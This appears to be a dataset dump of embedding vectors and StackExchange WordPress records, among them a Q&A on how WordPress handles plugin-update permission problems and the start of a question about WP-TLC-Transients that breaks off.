0.055938720703125,
0.0168609619140625,
-0.0465087890625,
0.0218963623046875,
0.011474609375,
0.030059814453125,
0.0159454345703125,
0.0142669677734375,
-0.032379150390625,
-0.0159912109375,
-0.0158233642578125,
-0.00047516822814941406,
-0.06298828125,
0.0033283233642578125,
0.02996826171875,
0.02801513671875,
0.002857208251953125,
0.032684326171875,
-0.01338958740234375,
0.02008056640625,
-0.006175994873046875,
-0.001964569091796875,
0.002185821533203125,
-0.046539306640625,
0.01296234130859375,
0.0127105712890625,
-0.04107666015625,
0.01371002197265625,
-0.0107421875,
-0.042388916015625,
-0.01403045654296875,
-0.012298583984375,
0.11212158203125,
-0.04290771484375,
-0.0216522216796875,
0.007335662841796875,
0.0007171630859375,
-0.00437164306640625,
0.0211029052734375,
-0.0166778564453125,
-0.0166015625,
0.01523590087890625,
0.0009784698486328125,
-0.01126861572265625,
0.01404571533203125,
0.0292816162109375,
-0.041015625,
0.07098388671875,
-0.00640869140625,
0.0201873779296875,
0.01349639892578125,
0.0272674560546875,
-0.006622314453125,
0.029083251953125,
-0.038238525390625,
0.04864501953125,
-0.0323486328125,
0.06781005859375,
-0.0372314453125,
-0.0002923011779785156,
0.0200653076171875,
0.027008056640625,
0.022705078125,
-0.003021240234375,
-0.03009033203125,
0.000048279762268066406,
0.059814453125,
0.0261077880859375,
0.008758544921875,
0.03692626953125,
-0.00841522216796875,
0.016693115234375,
0.0076751708984375,
-0.003971099853515625,
0.036712646484375,
-0.013824462890625,
-0.05908203125,
0.003955841064453125,
0.00675201416015625,
-0.0025157928466796875,
0.0234832763671875,
-0.032440185546875,
-0.04754638671875,
0.00974273681640625,
0.0289764404296875,
-0.0119171142578125,
0.01216888427734375,
0.0189361572265625,
0.056304931640625,
-0.09375,
-0.0592041015625,
-0.0286865234375,
0.048126220703125,
0.02569580078125,
0.0244140625,
-0.0004935264587402344,
0.0103607177734375,
0.038299560546875,
-0.06817626953125,
-0.00208282470703125,
0.0031909942626953125,
-0.0293121337890625,
0.0263214111328125,
0.0243377685546875,
0.0123138427734375,
-0.042938232421875,
-0.0030994415283203125,
0.07196044921875,
0.07305908203125,
-0.03936767578125,
-0.049468994140625,
0.0228118896484375,
0.0249176025390625,
-0.0117645263671875,
0.004558563232421875,
-0.012908935546875,
0.01415252685546875,
0.07623291015625,
-0.0215911865234375,
0.0002071857452392578,
-0.01641845703125,
0.013092041015625,
-0.0279693603515625,
-0.037994384765625,
0.01529693603515625,
0.0172119140625,
-0.037078857421875,
-0.01042938232421875,
0.030120849609375,
0.08917236328125,
0.044677734375,
0.04583740234375,
-0.024993896484375,
-0.037933349609375,
-0.0004324913024902344,
0.027801513671875,
-0.054931640625,
0.0248565673828125,
-0.05450439453125,
-0.06805419921875,
-0.00543975830078125,
0.051971435546875,
0.01279449462890625,
0.02117919921875,
0.0260162353515625,
-0.003459930419921875,
-0.0010404586791992188,
0.004016876220703125,
0.01555633544921875,
-0.0288848876953125,
-0.0122222900390625,
-0.026947021484375,
-0.002170562744140625,
0.0006299018859863281,
-0.0192413330078125,
0.01457977294921875,
0.0085906982421875,
0.005832672119140625,
0.0203857421875,
0.01261138916015625,
0.017120361328125,
-0.03778076171875,
0.0562744140625,
0.02020263671875,
0.09442138671875,
0.050933837890625,
-0.0777587890625,
-0.037445068359375,
-0.0034923553466796875,
-0.052978515625,
0.031890869140625,
0.05108642578125,
0.01971435546875,
-0.050048828125,
0.035797119140625,
-0.01349639892578125,
-0.0008559226989746094,
0.00861358642578125,
0.029144287109375,
0.00775146484375,
0.0208892822265625,
0.0245513916015625,
-0.03369140625,
-0.0286407470703125,
-0.0050201416015625,
0.038299560546875,
-0.0234832763671875,
0.106201171875,
-0.04193115234375,
0.00696563720703125,
-0.00445556640625,
0.041748046875,
-0.045196533203125,
-0.01291656494140625,
0.0261993408203125,
-0.0113067626953125,
0.0169830322265625,
-0.0006780624389648438,
-0.04949951171875,
0.01380157470703125,
0.0229339599609375,
-0.027801513671875,
-0.00003325939178466797,
-0.0082244873046875,
0.0157012939453125,
0.006008148193359375,
-0.0278167724609375,
-0.039764404296875,
-0.0290985107421875,
-0.0245513916015625,
-0.017913818359375,
0.007808685302734375,
-0.0175323486328125,
-0.01462554931640625,
0.039306640625,
-0.0010137557983398438,
-0.052642822265625,
0.034881591796875,
-0.0843505859375,
0.061676025390625,
0.02374267578125,
0.0291595458984375,
-0.0487060546875,
0.0007910728454589844,
-0.00806427001953125,
-0.00652313232421875,
0.0119781494140625,
0.0299835205078125,
0.0158233642578125,
0.02252197265625,
-0.0110015869140625,
-0.052276611328125,
-0.02020263671875,
-0.04608154296875,
-0.030181884765625,
-0.007110595703125,
-0.001201629638671875,
0.004180908203125,
-0.005565643310546875,
-0.01078033447265625,
-0.0007071495056152344,
0.010009765625,
0.021209716796875,
0.02557373046875,
0.01323699951171875,
-0.0010738372802734375,
-0.0035724639892578125,
0.023284912109375,
-0.0040435791015625,
-0.0211181640625,
0.0082550048828125,
-0.03619384765625,
0.005794525146484375,
-0.002071380615234375,
-0.032440185546875,
0.0285797119140625,
0.08477783203125,
0.00774383544921875,
0.0433349609375,
-0.006603240966796875,
-0.060455322265625,
0.0121917724609375,
0.031402587890625,
0.047515869140625,
-0.0293731689453125,
-0.048309326171875,
0.00533294677734375,
0.0024547576904296875,
0.0599365234375,
0.0264892578125,
-0.003177642822265625,
0.014190673828125,
-0.0032329559326171875,
-0.0232086181640625,
-0.01551055908203125,
0.0241851806640625,
-0.0224151611328125,
-0.04327392578125,
-0.0214385986328125,
0.0300140380859375,
0.034912109375,
-0.0172271728515625,
-0.03875732421875,
0.0282745361328125,
0.00887298583984375,
-0.024200439453125,
-0.07049560546875,
0.01284027099609375,
0.0004119873046875,
0.01009368896484375,
-0.020751953125,
-0.016815185546875,
-0.0222625732421875,
0.0372314453125,
0.0108489990234375,
0.038818359375,
0.0249481201171875,
0.0262908935546875,
-0.0309295654296875,
0.0012760162353515625,
-0.0211944580078125,
0.003444671630859375,
0.04608154296875,
-0.033050537109375,
0.01507568359375,
0.0282135009765625,
-0.067626953125,
-0.06744384765625,
-0.0362548828125,
0.027252197265625,
-0.0019378662109375,
-0.0322265625,
-0.03656005859375,
-0.04205322265625,
0.02545166015625,
0.048736572265625,
0.007053375244140625,
-0.0022220611572265625,
-0.00024378299713134766,
-0.034881591796875,
-0.072509765625,
-0.014739990234375,
0.02972412109375,
-0.058135986328125,
0.019500732421875,
0.0005674362182617188,
-0.0212554931640625,
0.0093994140625,
-0.03863525390625,
-0.0212554931640625,
0.0138092041015625,
0.00698089599609375,
-0.00016486644744873047,
0.00351715087890625,
0.0003120899200439453,
0.045440673828125,
-0.0244293212890625,
0.01617431640625,
-0.0182037353515625,
0.0208740234375,
0.02972412109375,
-0.0265350341796875,
-0.04595947265625,
0.0182342529296875,
-0.01311492919921875,
0.00397491455078125,
-0.0099945068359375,
0.02655029296875,
-0.00962066650390625,
0.0178985595703125,
0.033538818359375,
0.030181884765625,
-0.033843994140625,
0.0189361572265625,
-0.0001208186149597168,
0.059844970703125,
-0.0243682861328125,
0.07684326171875,
0.0229949951171875,
0.01016998291015625,
-0.0106201171875,
0.055511474609375,
-0.0191192626953125,
-0.030853271484375,
-0.01184844970703125,
-0.0251922607421875,
0.004360198974609375,
-0.02056884765625,
-0.0203094482421875,
-0.050262451171875,
0.0287017822265625,
-0.04351806640625,
-0.0183258056640625,
0.032318115234375
] |
a6ce42e4991b7e28f68ae234f06fdc66ad8fae48
|
Wordpress Stackexchange
Q: How does WordPress update plugins, without running into permissions issues? I am developing a plugin for PrestaShop, it works but the issue is with its autoupdate. Sometimes it fails on customers server due to permissions issues.
How exactly does WordPress handle plugin updates without running into permissions issues? And can they be replicated for something like a PrestaShop module?
A: WP routinely runs into permission issues with updates. Whenever its Filesystem API detects that file operations required cannot be performed it requests login credentials to perform update over FTP or SSH.
Since third party automated code cannot make such request interactively that's the reason it likely just fails.
There is number of Upgrade Constants that allow to hardcode credential in configuration and be used automatically instead if interactive request. They still need code to be coded to use APIs rather than attempt direct writes.
|
Q: How does WordPress update plugins, without running into permissions issues? I am developing a plugin for PrestaShop, it works but the issue is with its autoupdate. Sometimes it fails on customers server due to permissions issues.
How exactly does WordPress handle plugin updates without running into permissions issues? And can they be replicated for something like a PrestaShop module?
A: WP routinely runs into permission issues with updates. Whenever its Filesystem API detects that file operations required cannot be performed it requests login credentials to perform update over FTP or SSH.
Since third party automated code cannot make such request interactively that's the reason it likely just fails.
There is number of Upgrade Constants that allow to hardcode credential in configuration and be used automatically instead if interactive request. They still need code to be coded to use APIs rather than attempt direct writes.
|
wordpress
|
{
"language": "en",
"length": 145,
"provenance": "stackexchange_00019.jsonl.gz:437345",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114921"
}
|
[
0.061981201171875,
0.004962921142578125,
-0.00490570068359375,
-0.054779052734375,
0.01678466796875,
-0.0179595947265625,
0.00809478759765625,
-0.0258636474609375,
0.034027099609375,
0.01485443115234375,
-0.0239105224609375,
-0.021087646484375,
0.01036834716796875,
-0.0191192626953125,
-0.02679443359375,
-0.027587890625,
0.0283660888671875,
0.010162353515625,
0.0253448486328125,
-0.00792694091796875,
-0.0011425018310546875,
0.01397705078125,
0.014068603515625,
0.05181884765625,
0.01351165771484375,
-0.00786590576171875,
0.03399658203125,
-0.0235748291015625,
0.025390625,
0.0023345947265625,
0.01293182373046875,
-0.02825927734375,
0.01143646240234375,
0.0215606689453125,
-0.0256195068359375,
-0.038177490234375,
0.0253143310546875,
0.0041351318359375,
-0.00930023193359375,
0.035675048828125,
0.033294677734375,
-0.01416015625,
0.05023193359375,
0.043121337890625,
0.036163330078125,
-0.0679931640625,
0.057647705078125,
-0.07745361328125,
0.032928466796875,
0.0037326812744140625,
0.006748199462890625,
0.0347900390625,
0.01152801513671875,
-0.01288604736328125,
-0.00865936279296875,
0.014404296875,
-0.0245819091796875,
0.0236968994140625,
0.01392364501953125,
-0.0229339599609375,
-0.0208587646484375,
-0.0005664825439453125,
0.0187530517578125,
0.0139923095703125,
0.005603790283203125,
-0.034912109375,
0.004589080810546875,
0.0218048095703125,
-0.03411865234375,
0.00799560546875,
0.045806884765625,
-0.0031795501708984375,
0.0115203857421875,
0.00502777099609375,
0.041290283203125,
-0.03662109375,
0.0265045166015625,
0.0171356201171875,
-0.00565338134765625,
0.044036865234375,
0.05474853515625,
-0.0172576904296875,
0.033355712890625,
-0.040283203125,
0.035064697265625,
-0.0072784423828125,
0.01525115966796875,
-0.007007598876953125,
0.00013184547424316406,
0.01271820068359375,
-0.0203857421875,
0.005733489990234375,
0.01332855224609375,
0.035125732421875,
-0.025054931640625,
0.0189208984375,
0.023681640625,
0.0197296142578125,
-0.0109100341796875,
0.00563812255859375,
0.0156097412109375,
-0.049530029296875,
0.0289764404296875,
-0.0198211669921875,
-0.01479339599609375,
0.022552490234375,
0.017669677734375,
0.0438232421875,
0.0262908935546875,
0.01849365234375,
-0.0196380615234375,
0.013671875,
0.02685546875,
-0.07568359375,
0.03839111328125,
0.05157470703125,
0.023223876953125,
0.05029296875,
0.0259246826171875,
-0.003185272216796875,
-0.0241241455078125,
0.0025196075439453125,
-0.049468994140625,
-0.039581298828125,
-0.006214141845703125,
-0.052154541015625,
-0.0169219970703125,
0.049652099609375,
-0.035400390625,
0.030548095703125,
-0.031158447265625,
-0.0031337738037109375,
0.07171630859375,
0.037628173828125,
0.009246826171875,
-0.0193939208984375,
0.02703857421875,
0.003719329833984375,
0.00264739990234375,
0.02606201171875,
-0.011383056640625,
-0.017120361328125,
0.02349853515625,
-0.03570556640625,
0.048095703125,
-0.007450103759765625,
0.005489349365234375,
0.0299072265625,
0.0259552001953125,
0.0094757080078125,
0.027008056640625,
0.00986480712890625,
0.00775146484375,
-0.00777435302734375,
0.060394287109375,
-0.0235443115234375,
0.06317138671875,
-0.03411865234375,
0.0139007568359375,
-0.029052734375,
-0.00843048095703125,
-0.01035308837890625,
0.03765869140625,
-0.0140228271484375,
-0.017120361328125,
0.018310546875,
-0.05810546875,
0.0014829635620117188,
0.027008056640625,
0.005886077880859375,
0.030914306640625,
-0.0135498046875,
0.0172271728515625,
0.01433563232421875,
0.0016565322875976562,
0.01605224609375,
-0.003520965576171875,
0.0200347900390625,
0.055755615234375,
-0.0438232421875,
-0.031341552734375,
-0.0089111328125,
0.108642578125,
-0.0176849365234375,
-0.023590087890625,
-0.0007734298706054688,
-0.00949859619140625,
0.03369140625,
0.032501220703125,
0.00902557373046875,
0.0022869110107421875,
-0.01470947265625,
-0.03082275390625,
0.06671142578125,
-0.06842041015625,
-0.0372314453125,
0.038970947265625,
0.050506591796875,
-0.045989990234375,
-0.0240020751953125,
-0.032196044921875,
0.00913238525390625,
-0.0175018310546875,
0.00836944580078125,
-0.0452880859375,
0.017059326171875,
-0.0266876220703125,
0.034332275390625,
0.0200347900390625,
0.047576904296875,
-0.0031261444091796875,
0.034576416015625,
-0.0226898193359375,
-0.0187835693359375,
-0.024810791015625,
-0.02618408203125,
-0.0208740234375,
0.06494140625,
-0.0023555755615234375,
0.053619384765625,
0.013092041015625,
-0.042022705078125,
0.016998291015625,
0.01047515869140625,
-0.01416015625,
0.005458831787109375,
-0.019622802734375,
0.00748443603515625,
0.016357421875,
-0.0206146240234375,
0.089599609375,
0.0288848876953125,
-0.0218353271484375,
0.0211181640625,
-0.0157318115234375,
-0.0202178955078125,
-0.0333251953125,
-0.09613037109375,
0.033111572265625,
0.0572509765625,
0.036865234375,
0.009613037109375,
-0.007049560546875,
0.01303863525390625,
-0.0032596588134765625,
-0.05267333984375,
0.0121307373046875,
-0.00493621826171875,
0.023345947265625,
0.0283660888671875,
-0.02618408203125,
-0.030487060546875,
0.0418701171875,
-0.039398193359375,
-0.004535675048828125,
0.041229248046875,
0.007030487060546875,
0.0009102821350097656,
-0.0171661376953125,
-0.0286102294921875,
0.0008497238159179688,
-0.061370849609375,
-0.033294677734375,
-0.0224761962890625,
-0.0203094482421875,
0.004627227783203125,
0.0024471282958984375,
0.00030493736267089844,
-0.00738525390625,
0.0005044937133789062,
0.033843994140625,
-0.00814056396484375,
-0.0003147125244140625,
0.0467529296875,
0.011871337890625,
0.024993896484375,
-0.026031494140625,
-0.01280975341796875,
0.00189208984375,
0.032806396484375,
-0.028289794921875,
0.01045989990234375,
-0.007080078125,
-0.01617431640625,
-0.050994873046875,
-0.013092041015625,
0.0396728515625,
0.01363372802734375,
-0.00513458251953125,
-0.0099945068359375,
0.02667236328125,
-0.006343841552734375,
-0.020050048828125,
0.01873779296875,
-0.022308349609375,
-0.03045654296875,
0.06646728515625,
-0.0233306884765625,
0.01273345947265625,
-0.0200042724609375,
0.078857421875,
0.039276123046875,
-0.010589599609375,
-0.01427459716796875,
0.0096893310546875,
-0.0087127685546875,
0.0044708251953125,
0.0264434814453125,
0.013092041015625,
0.0016508102416992188,
-0.035614013671875,
0.039215087890625,
0.0262451171875,
0.09930419921875,
-0.036407470703125,
-0.059844970703125,
-0.0092315673828125,
0.040130615234375,
-0.06927490234375,
-0.10540771484375,
0.0253143310546875,
-0.019744873046875,
0.0177001953125,
-0.0091094970703125,
-0.01384735107421875,
-0.0207977294921875,
0.0118408203125,
0.006839752197265625,
-0.038787841796875,
-0.031768798828125,
-0.0273590087890625,
-0.0804443359375,
-0.04266357421875,
-0.0233612060546875,
-0.004001617431640625,
-0.004314422607421875,
0.00008618831634521484,
0.058807373046875,
-0.015472412109375,
-0.06817626953125,
-0.047454833984375,
0.027069091796875,
-0.0062408447265625,
-0.0024700164794921875,
0.0284271240234375,
-0.0207977294921875,
0.0244598388671875,
0.0242156982421875,
-0.005748748779296875,
0.0230560302734375,
-0.026275634765625,
-0.041229248046875,
-0.0017061233520507812,
-0.004711151123046875,
0.006893157958984375,
-0.004764556884765625,
-0.006664276123046875,
0.00439453125,
0.00394439697265625,
-0.04083251953125,
-0.0243682861328125,
-0.00579071044921875,
-0.044952392578125,
0.003124237060546875,
0.025421142578125,
-0.01122283935546875,
-0.0096435546875,
0.0013446807861328125,
0.0156097412109375,
0.036285400390625,
-0.005123138427734375,
0.0154876708984375,
0.007389068603515625,
-0.00763702392578125,
-0.01103973388671875,
-0.0172576904296875,
0.0171051025390625,
-0.023712158203125,
0.0159149169921875,
-0.00759124755859375,
-0.024139404296875,
-0.02728271484375,
0.013641357421875,
-0.040985107421875,
-0.0196533203125,
0.0478515625,
-0.01511383056640625,
0.020965576171875,
-0.058563232421875,
-0.0257415771484375,
-0.037200927734375,
0.0689697265625,
0.0006966590881347656,
-0.02154541015625,
0.02081298828125,
0.029266357421875,
-0.0684814453125,
-0.023223876953125,
-0.0379638671875,
-0.00939178466796875,
0.0055084228515625,
-0.0135345458984375,
-0.015869140625,
-0.0086669921875,
-0.0037326812744140625,
-0.0229949951171875,
0.00864410400390625,
-0.0128631591796875,
0.040283203125,
-0.02703857421875,
0.0226287841796875,
-0.012481689453125,
0.03466796875,
-0.049072265625,
-0.00972747802734375,
-0.005035400390625,
-0.09912109375,
-0.00984954833984375,
-0.0235443115234375,
0.055816650390625,
-0.01068115234375,
-0.004871368408203125,
-0.040069580078125,
0.03497314453125,
-0.0036258697509765625,
0.05816650390625,
-0.034027099609375,
0.00353240966796875,
-0.041595458984375,
-0.020263671875,
-0.0019817352294921875,
-0.0193939208984375,
0.0229949951171875,
0.00439453125,
-0.0467529296875,
-0.00463104248046875,
-0.03033447265625,
-0.026641845703125,
0.0243377685546875,
-0.056243896484375,
-0.043060302734375,
-0.032867431640625,
-0.0216217041015625,
-0.033660888671875,
0.0020465850830078125,
-0.0174713134765625,
-0.0168304443359375,
-0.03143310546875,
0.032623291015625,
-0.043182373046875,
0.00795745849609375,
0.00547027587890625,
0.08038330078125,
0.01287078857421875,
-0.01397705078125,
0.002300262451171875,
0.0160675048828125,
0.03753662109375,
0.029327392578125,
0.027801513671875,
0.03076171875,
-0.0234832763671875,
0.0092620849609375,
0.038818359375,
-0.03228759765625,
0.0216827392578125,
-0.0230865478515625,
0.032958984375,
-0.00963592529296875,
-0.028961181640625,
0.015869140625,
0.04742431640625,
-0.01012420654296875,
-0.006237030029296875,
-0.01224517822265625,
-0.016815185546875,
0.0221405029296875,
0.0173492431640625,
0.0133819580078125,
-0.015625,
-0.057342529296875,
0.033538818359375,
-0.01535797119140625,
-0.0072021484375,
0.01352691650390625,
-0.01013946533203125,
0.024444580078125,
-0.014495849609375,
-0.0086822509765625,
-0.06756591796875,
-0.01181793212890625,
-0.05218505859375,
0.01177215576171875,
-0.031036376953125,
-0.033905029296875,
-0.032379150390625,
-0.0084075927734375,
0.045806884765625,
-0.023529052734375,
-0.043853759765625,
-0.04766845703125,
-0.0026836395263671875,
0.0355224609375,
0.042999267578125,
-0.0210723876953125,
0.016357421875,
-0.007366180419921875,
-0.034423828125,
-0.0109405517578125,
-0.01540374755859375,
-0.053314208984375,
-0.04058837890625,
-0.0188751220703125,
-0.01067352294921875,
-0.0196075439453125,
0.029998779296875,
-0.03302001953125,
0.0039825439453125,
-0.0224151611328125,
-0.004955291748046875,
0.04241943359375,
0.04412841796875,
-0.0204010009765625,
0.01396942138671875,
0.0214691162109375,
0.0198516845703125,
-0.063720703125,
0.013885498046875,
-0.034332275390625,
-0.041961669921875,
0.0104217529296875,
0.06494140625,
-0.0299835205078125,
0.0045623779296875,
0.016448974609375,
-0.0218505859375,
-0.0056915283203125,
0.01507568359375,
0.005405426025390625,
-0.01995849609375,
-0.0177459716796875,
0.00493621826171875,
0.0259552001953125,
-0.009796142578125,
0.013671875,
-0.0117645263671875,
-0.00894927978515625,
-0.026336669921875,
0.0004162788391113281,
-0.043182373046875,
-0.0300140380859375,
-0.012725830078125,
0.01007843017578125,
-0.0221405029296875,
-0.0224761962890625,
-0.006809234619140625,
0.01111602783203125,
-0.0291290283203125,
-0.00032806396484375,
0.01476287841796875,
-0.0222320556640625,
0.042938232421875,
-0.04791259765625,
0.00484466552734375,
-0.0284576416015625,
-0.01108551025390625,
0.07330322265625,
0.0438232421875,
-0.094970703125,
0.0060577392578125,
-0.035064697265625,
-0.016815185546875,
-0.02667236328125,
-0.025054931640625,
-0.07342529296875,
0.0029296875,
-0.00919342041015625,
0.0235595703125,
-0.044952392578125,
-0.034759521484375,
-0.0223236083984375,
0.035003662109375,
0.025482177734375,
0.05560302734375,
-0.01824951171875,
0.0421142578125,
-0.00644683837890625,
0.0614013671875,
-0.002899169921875,
-0.01328277587890625,
-0.0254974365234375,
-0.00553131103515625,
-0.00213623046875,
-0.0006399154663085938,
-0.00749969482421875,
-0.039764404296875,
0.024810791015625,
0.0082244873046875,
0.046661376953125,
-0.005886077880859375,
0.00925445556640625,
-0.037689208984375,
0.00162506103515625,
-0.0125274658203125,
0.08135986328125,
-0.0291900634765625,
-0.0601806640625,
0.094482421875,
-0.051422119140625,
0.03570556640625,
0.016632080078125,
-0.01143646240234375,
0.034423828125,
-0.035064697265625,
0.019500732421875,
0.067138671875,
-0.0081634521484375,
0.04888916015625,
0.0684814453125,
-0.0267181396484375,
0.032623291015625,
0.04901123046875,
0.003467559814453125,
0.01398468017578125,
-0.0124969482421875,
0.04388427734375,
0.03326416015625,
0.04180908203125,
-0.0258026123046875,
-0.024383544921875,
0.0021800994873046875,
-0.041534423828125,
0.033355712890625,
0.042236328125,
0.06695556640625,
-0.067138671875,
0.0183563232421875,
0.007904052734375,
-0.042266845703125,
0.0216522216796875,
-0.0247039794921875,
-0.01340484619140625,
-0.036346435546875,
0.052459716796875,
-0.025146484375,
-0.0118560791015625,
0.00960540771484375,
-0.0298309326171875,
-0.025390625,
-0.0008382797241210938,
-0.0230560302734375,
0.0089263916015625,
0.01488494873046875,
-0.0017795562744140625,
-0.005794525146484375,
0.015777587890625,
0.0123291015625,
-0.0025196075439453125,
0.031463623046875,
-0.0576171875,
-0.03717041015625,
0.001964569091796875,
-0.00815582275390625,
-0.027679443359375,
-0.0110931396484375,
0.04681396484375,
0.037994384765625,
0.038238525390625,
0.030670166015625,
-0.05224609375,
0.02581787109375,
0.0252532958984375,
0.024139404296875,
-0.048614501953125,
0.0254669189453125,
0.0743408203125,
-0.0673828125,
0.0181884765625,
0.017425537109375,
-0.001911163330078125,
-0.01349639892578125,
-0.032012939453125,
0.06787109375,
-0.035125732421875,
0.0007176399230957031,
0.040435791015625,
0.01439666748046875,
-0.039459228515625,
0.043914794921875,
0.0169525146484375,
-0.03277587890625,
-0.0040435791015625,
0.038116455078125,
-0.0092926025390625,
0.0129547119140625,
0.088134765625,
-0.058319091796875,
0.09173583984375,
0.01080322265625,
-0.0213470458984375,
0.01076507568359375,
0.0382080078125,
-0.037567138671875,
0.016937255859375,
-0.0203704833984375,
0.0367431640625,
-0.0146484375,
0.02008056640625,
-0.038238525390625,
-0.016021728515625,
-0.0041046142578125,
0.028411865234375,
0.034515380859375,
0.0169219970703125,
-0.0648193359375,
-0.0177459716796875,
0.00563812255859375,
0.0252227783203125,
0.01273345947265625,
0.0689697265625,
0.01605224609375,
0.03973388671875,
0.032440185546875,
-0.0196380615234375,
0.04730224609375,
-0.08349609375,
-0.0264434814453125,
0.0126953125,
0.0031566619873046875,
-0.0034542083740234375,
-0.039459228515625,
0.0618896484375,
-0.0268096923828125,
-0.0296783447265625,
0.01044464111328125,
0.023040771484375,
0.0247344970703125,
0.036163330078125,
0.0287933349609375,
0.00855255126953125,
-0.01259613037109375,
-0.0132293701171875,
0.03668212890625,
-0.0157012939453125,
0.01445770263671875,
-0.0229034423828125,
0.004817962646484375,
0.0038242340087890625,
-0.026702880859375,
-0.0132598876953125,
0.036407470703125,
-0.05029296875,
-0.0181427001953125,
0.0151519775390625,
0.0297393798828125,
-0.0107879638671875,
0.00023257732391357422,
0.045257568359375,
-0.0127410888671875,
-0.0036182403564453125,
-0.036163330078125,
0.01342010498046875,
0.003936767578125,
-0.01116943359375,
-0.005916595458984375,
-0.01442718505859375,
-0.0146942138671875,
0.0169219970703125,
-0.033538818359375,
-0.005481719970703125,
0.01024627685546875,
0.00235748291015625,
0.006839752197265625,
0.03173828125,
-0.02337646484375,
-0.01097869873046875,
-0.01183319091796875,
-0.0026302337646484375,
-0.01428985595703125,
0.013336181640625,
0.0102386474609375,
0.0394287109375,
-0.0014801025390625,
-0.0013895034790039062,
-0.019927978515625,
0.04766845703125,
-0.0086212158203125,
0.0203704833984375,
-0.03936767578125,
-0.06640625,
-0.00078582763671875,
0.038116455078125,
0.0027866363525390625,
0.01119232177734375,
0.01123809814453125,
0.0355224609375,
0.0082855224609375,
0.0012540817260742188,
0.0183868408203125,
-0.00939178466796875,
-0.015533447265625,
-0.0118408203125,
-0.00923919677734375,
-0.0101470947265625,
-0.01300811767578125,
-0.0149383544921875,
0.045135498046875,
-0.0029811859130859375,
-0.0269317626953125,
0.0306854248046875,
-0.003902435302734375,
-0.0189971923828125,
0.0679931640625,
-0.0262451171875,
0.053466796875,
-0.0131072998046875,
0.01580810546875,
0.0261383056640625,
-0.042724609375,
-0.0027141571044921875,
-0.029052734375,
0.007122039794921875,
0.00788116455078125,
0.037139892578125,
-0.0262908935546875,
0.0128173828125,
0.01221466064453125,
-0.0386962890625,
0.0117034912109375,
-0.0325927734375,
0.00588226318359375,
-0.0253143310546875,
-0.0011758804321289062,
-0.0210113525390625,
-0.0309906005859375,
0.06097412109375,
0.055999755859375,
0.07147216796875,
-0.03460693359375,
0.043609619140625,
0.0030536651611328125,
-0.01611328125,
-0.01284027099609375,
0.0132293701171875,
0.0217437744140625,
-0.01800537109375,
-0.050689697265625,
-0.0022411346435546875,
-0.0150299072265625,
0.01751708984375,
0.0203399658203125,
0.002979278564453125,
-0.0249786376953125,
-0.017242431640625,
0.032684326171875,
0.040283203125,
0.0281219482421875,
-0.0269927978515625,
-0.05712890625,
-0.0298309326171875,
0.019012451171875,
-0.00347900390625,
0.016143798828125,
-0.00894927978515625,
0.0201416015625,
-0.01220703125,
-0.00376129150390625,
-0.01059722900390625,
-0.00205230712890625,
-0.0418701171875,
0.01505279541015625,
-0.01068878173828125,
0.002414703369140625,
-0.0242767333984375,
-0.022674560546875,
-0.004772186279296875,
-0.00278472900390625,
0.021697998046875,
-0.035369873046875,
0.0284576416015625,
0.0126800537109375,
0.01393890380859375,
0.042144775390625,
-0.0078125,
0.0107879638671875,
-0.020965576171875,
0.0165557861328125,
0.0085296630859375,
-0.07122802734375,
-0.0195770263671875,
-0.0300750732421875,
-0.01788330078125,
0.0225372314453125,
-0.0191192626953125,
-0.0181427001953125,
-0.0148162841796875,
0.03411865234375,
0.0164031982421875,
-0.0109100341796875,
-0.0709228515625,
0.02166748046875,
-0.007671356201171875,
0.098876953125,
-0.03643798828125,
-0.030181884765625,
-0.007366180419921875,
0.0207977294921875,
0.00858306884765625,
-0.03424072265625,
-0.02423095703125,
0.061187744140625,
0.0008211135864257812,
0.03948974609375,
0.025634765625,
-0.04840087890625,
-0.0121002197265625,
0.033416748046875,
0.054412841796875,
0.0689697265625,
0.049285888671875,
-0.0185699462890625,
0.0377197265625,
-0.049407958984375,
0.0171661376953125,
-0.040802001953125,
-0.00763702392578125,
-0.08111572265625,
-0.0167236328125,
-0.04449462890625,
0.0302886962890625,
0.0206756591796875,
-0.028533935546875,
-0.0328369140625,
0.048309326171875,
-0.0081329345703125,
-0.0221099853515625,
-0.049957275390625,
-0.0245819091796875,
-0.011932373046875,
0.060546875,
-0.03240966796875,
0.0153045654296875,
-0.035064697265625,
0.0506591796875,
-0.004779815673828125,
0.0099945068359375,
-0.00240325927734375,
0.01329803466796875,
-0.02593994140625,
0.038604736328125,
0.037872314453125,
-0.0120086669921875,
0.01239776611328125,
-0.0213623046875,
0.036865234375,
0.03350830078125,
-0.0128326416015625,
0.0172882080078125,
0.0219879150390625,
-0.033660888671875,
-0.0180206298828125,
-0.0340576171875,
-0.037811279296875,
0.0009570121765136719,
0.07867431640625,
0.09033203125,
0.026275634765625,
-0.043060302734375,
0.0294952392578125,
-0.0294036865234375,
-0.052032470703125,
0.010498046875,
0.01047515869140625,
-0.024658203125,
0.01297760009765625,
0.00641632080078125,
-0.0025882720947265625,
-0.00809478759765625,
-0.0087890625,
-0.00966644287109375,
-0.0176239013671875,
0.000301361083984375,
-0.022369384765625,
0.00896453857421875,
-0.03399658203125,
0.05780029296875,
-0.019378662109375,
0.0029888153076171875,
0.01064300537109375,
0.01038360595703125,
0.0328369140625,
0.04327392578125,
0.0176544189453125,
0.0299530029296875,
-0.06463623046875,
-0.0007281303405761719,
0.005329132080078125,
0.03302001953125,
-0.040802001953125,
-0.015045166015625,
0.0107574462890625,
0.028533935546875,
-0.00495147705078125,
0.0281982421875,
-0.0263824462890625,
0.052154541015625,
-0.0079193115234375,
0.05560302734375,
-0.018951416015625,
-0.054901123046875,
-0.029541015625,
0.0192718505859375,
0.003940582275390625,
-0.005535125732421875,
0.022979736328125,
-0.0179901123046875,
0.01317596435546875,
-0.006153106689453125,
0.006282806396484375,
-0.01113128662109375,
0.000583648681640625,
-0.0013751983642578125,
-0.0231781005859375,
0.01190185546875
] |
f03d262f65b5e972bbdd076766f628941190a098
|
Wordpress Stackexchange
Q: Integrating WP-TLC-Transients with Wordpress - Where to Begin? Last week, I asked about creating transients that would update before expiry to prevent users from waiting for the long loading time. I was pointed to WP-TLC-Transients which sound like exactly what I need, but unfortunately, I am at a loss with where to begin.
Here are the associated files:
*
*class-tlc-transient-update-server.php
*class-tlc-transient.php
*functions.php
*tlc-transients.php
Hopefully this is not too basic a question, but I'm interested in where to place the associated files to even begin trying to work with the code.
EDIT:
